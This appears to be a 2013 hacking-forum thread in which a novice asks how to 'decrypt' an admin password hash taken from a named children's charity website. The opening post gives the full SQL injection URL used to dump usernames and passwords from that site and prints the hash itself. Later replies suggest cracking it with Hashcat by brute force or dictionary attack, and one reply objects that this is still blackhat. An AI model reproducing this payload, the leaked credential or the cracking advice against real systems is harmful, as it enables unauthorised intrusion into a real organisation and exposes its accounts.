![]() |
problem decrypting hash - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking) +--- Thread: problem decrypting hash (/Thread-problem-decrypting-hash) |
problem decrypting hash - cr33pyguy - 01-31-2013 The goes as follows: $2aEo89gH4Clc This would be the admin password for: Code: http://www.actforkids.com.au/news_full.php?id=-134%20union%20select%20all%201,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14%20from%20user (EDIT: the url didn't seem to work, so i put it in the code thingy) (EDIT EVEN FURTHER: Well, it still doesn't work, don't know why...) I dont know why it cant be decrypted, any idea P.S. im new to hacking RE: problem decrypting hash - JackDaniels - 01-31-2013 I would love to help but. PHP Code: http://www.actforkids.com.au It's an organisation that helps kids so I chose a white hat method and contacted them about their security issue. RE: problem decrypting hash - i0xIllusi0n - 01-31-2013 (01-31-2013, 02:28 PM)JackDaniels Wrote: I would love to help but. That's still blackhat if you're going to use it for malicious purposes... >_> RE: problem decrypting hash - cr33pyguy - 01-31-2013 (01-31-2013, 02:28 PM)JackDaniels Wrote: I would love to help but. Yea, wasn't planning on using it for anything, just trying out SQL injection for the first time. anyway, how do you decrypt a password, just as a general question? RE: problem decrypting hash - TechSaavy - 01-31-2013 Hash password as I know (at least most of them) are one-way algorithms. That means you can't decrypt it. You will have to crack it, or use a dictionary. Your best bet would be Hashcat (can be found on google, use it to brute-force the password or use a dictionary attack) RE: problem decrypting hash - i0xIllusi0n - 02-01-2013 (01-31-2013, 03:01 PM)cr33pyguy Wrote:(01-31-2013, 02:28 PM)JackDaniels Wrote: I would love to help but. Hashes are one-way methods, so you'd need to bruteforce or dictionary attack it. However, this is a hash I have never seen before, if it even is a hash to begin with, not sure. |